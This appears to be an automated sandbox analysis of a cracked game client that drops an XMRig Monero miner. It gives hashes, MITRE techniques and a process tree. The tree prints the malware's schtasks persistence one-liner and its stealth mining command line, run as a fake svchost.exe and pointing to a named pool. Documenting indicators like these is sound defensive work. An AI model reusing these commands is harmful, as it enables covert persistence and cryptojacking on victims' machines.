xmrig | bbadffd2113da8132e713a62b78129cf0ed0d9cf14c522d4773fdbd9c83f3dd9

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 19:49

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General

Target
NURSULTAN CLIENT crack.exe
Size 2.0MB
Sample260718-yj2ynaev5s
SHA256 bbadffd2113da8132e713a62b78129cf0ed0d9cf14c522d4773fdbd9c83f3dd9
MD5 3928e17643e815a2d28587835b366491
SHA1 1b93c37476481832d0281ee2bb4f8cb4d168ab1c
SHA512 402c9378028996323660ab912b0262a2237ccc2a0402441bf310c39039986ce5c72ff9d93ae7e0d165395c1684123b590b72d44d64c05268c0b2765e47b93069
SSDEEP 49152:9FcJa3+ug63jcNbb7x23yZR6BQpGvWmoIN2z5o3hyhg1:HSa3MQjcH23yZQBQpGv3lMdi1
TLSH
T14EA53384E3AE6BC4FB3D2AB954DB54656831C786BE831123B74F20841AF6172FB31974
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/2588-38-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig

Executes dropped EXE 8 IoCs

pid	Process
3460	sihost64.exe
4476	Services.exe
952	sihost64.exe
3840	Services.exe
5156	sihost64.exe
4812	Services.exe
2512	sihost64.exe
4256	Services.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4476 set thread context of 2588	4476	Services.exe	100
PID 3840 set thread context of 1064	3840	Services.exe	107
PID 4812 set thread context of 2760	4812	Services.exe	113

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5460	cmd.exe
2164	cmd.exe
5128	cmd.exe
1480	cmd.exe
5716	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
800	schtasks.exe
1908	schtasks.exe
1400	schtasks.exe
1716	schtasks.exe
4172	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4076	NURSULTAN CLIENT crack.exe
4076	NURSULTAN CLIENT crack.exe
4476	Services.exe
4476	Services.exe
3840	Services.exe
3840	Services.exe
4812	Services.exe
4812	Services.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4076	NURSULTAN CLIENT crack.exe
Token: SeDebugPrivilege	4476	Services.exe
Token: SeDebugPrivilege	3840	Services.exe
Token: SeDebugPrivilege	4812	Services.exe
Token: SeDebugPrivilege	4256	Services.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 1480	4076	NURSULTAN CLIENT crack.exe	89
PID 1480 wrote to memory of 800	1480	cmd.exe	91
PID 4076 wrote to memory of 3460	4076	NURSULTAN CLIENT crack.exe	93
PID 4076 wrote to memory of 4476	4076	NURSULTAN CLIENT crack.exe	95
PID 4476 wrote to memory of 5716	4476	Services.exe	96
PID 5716 wrote to memory of 1908	5716	cmd.exe	98
PID 4476 wrote to memory of 952	4476	Services.exe	99
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 4476 wrote to memory of 2588	4476	Services.exe	100
PID 952 wrote to memory of 3840	952	sihost64.exe	102
PID 3840 wrote to memory of 5460	3840	Services.exe	103
PID 5460 wrote to memory of 1400	5460	cmd.exe	105
PID 3840 wrote to memory of 5156	3840	Services.exe	106
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 3840 wrote to memory of 1064	3840	Services.exe	107
PID 5156 wrote to memory of 4812	5156	sihost64.exe	108
PID 4812 wrote to memory of 2164	4812	Services.exe	109
PID 2164 wrote to memory of 1716	2164	cmd.exe	111
PID 4812 wrote to memory of 2512	4812	Services.exe	112
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 4812 wrote to memory of 2760	4812	Services.exe	113
PID 2512 wrote to memory of 4256	2512	sihost64.exe	114
PID 4256 wrote to memory of 5128	4256	Services.exe	115
PID 5128 wrote to memory of 4172	5128	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\NURSULTAN CLIENT crack.exe
"C:\Users\Admin\AppData\Local\Temp\NURSULTAN CLIENT crack.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:800
- C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  2⤵
  - Executes dropped EXE
  PID:3460
- C:\Users\Admin\AppData\Local\Temp\Services.exe
  "C:\Users\Admin\AppData\Local\Temp\Services.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5716
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1908
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:952
  - - C:\Users\Admin\AppData\Local\Temp\Services.exe
      "C:\Users\Admin\AppData\Local\Temp\Services.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3840
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5460
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1400
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5156
      - C:\Users\Admin\AppData\Local\Temp\Services.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Services.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4812
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2164
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1716
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\Services.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Services.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        9⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5128
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4172
        
        C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6249832 --pass=shcooll new --cpu-max-threads-hint=30 --donate-level=5 --unam-idle-wait=4 --unam-idle-cpu=100 --unam-stealth
        7⤵
        
        PID:2760
    - - C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6249832 --pass=shcooll new --cpu-max-threads-hint=30 --donate-level=5 --unam-idle-wait=4 --unam-idle-cpu=100 --unam-stealth
        5⤵
        
        PID:1064
- - C:\Windows\System32\svchost.exe
    C:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6249832 --pass=shcooll new --cpu-max-threads-hint=30 --donate-level=5 --unam-idle-wait=4 --unam-idle-cpu=100 --unam-stealth
    3⤵
    PID:2588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Services.exe

Path C:\Users\Admin\AppData\Local\Temp\Services.exe
Size 2.0MB
SHA256 bbadffd2113da8132e713a62b78129cf0ed0d9cf14c522d4773fdbd9c83f3dd9
MD5 3928e17643e815a2d28587835b366491
SHA1 1b93c37476481832d0281ee2bb4f8cb4d168ab1c
SHA512 402c9378028996323660ab912b0262a2237ccc2a0402441bf310c39039986ce5c72ff9d93ae7e0d165395c1684123b590b72d44d64c05268c0b2765e47b93069
SSDEEP 49152:9FcJa3+ug63jcNbb7x23yZR6BQpGvWmoIN2z5o3hyhg1:HSa3MQjcH23yZQBQpGv3lMdi1
TLSH
T14EA53384E3AE6BC4FB3D2AB954DB54656831C786BE831123B74F20841AF6172FB31974
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WR64.sys

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
TLSH
T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sihost64.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Size 7KB
SHA256 28c781a06d9d828a487320bab1a54a186f37c9cffd074d41f330dd15d4e7dd3f
MD5 05c075933ab0fa2f8f7ece78250ea17e
SHA1 66d88a942eccf16a22d897db070dea2b476ed650
SHA512 235811e6e6eff2a94a26d4884569b730216293889d9c82486f89ed663bb94aabfd0344a4698fb6a7f7a6f62d93a9829b070b37aee644cb6a428aa615a14ca609
SSDEEP 96:td43+PhEKjWjDD5xydg7dabjW1lLgyVxjlXmTIoDCuX2DDPWwOgzNt:te3UTixyORAK1lLjxKhX2DLWu
TLSH
T1DEF1F741B7FCC616F5FF4B742CB25B015235FAA79E13DB5E288540191C32B848EA2BB2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2588-38-0x0000000140000000-0x000000014074D000-memory.dmp

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memory/3460-19-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/3460-26-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/3460-22-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/3460-21-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/3460-16-0x00000000005A0000-0x00000000005A6000-memory.dmp

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memory/3460-18-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/3460-20-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-6-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-0-0x0000000000AE0000-0x0000000000CE8000-memory.dmp

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memory/4076-4-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-24-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-3-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-2-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp

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memory/4076-1-0x00007FFDF023F000-0x00007FFDF0240000-memory.dmp

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memory/4476-25-0x000000001CEE0000-0x000000001CEF2000-memory.dmp

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memory/4476-37-0x000000001CED0000-0x000000001CEDE000-memory.dmp

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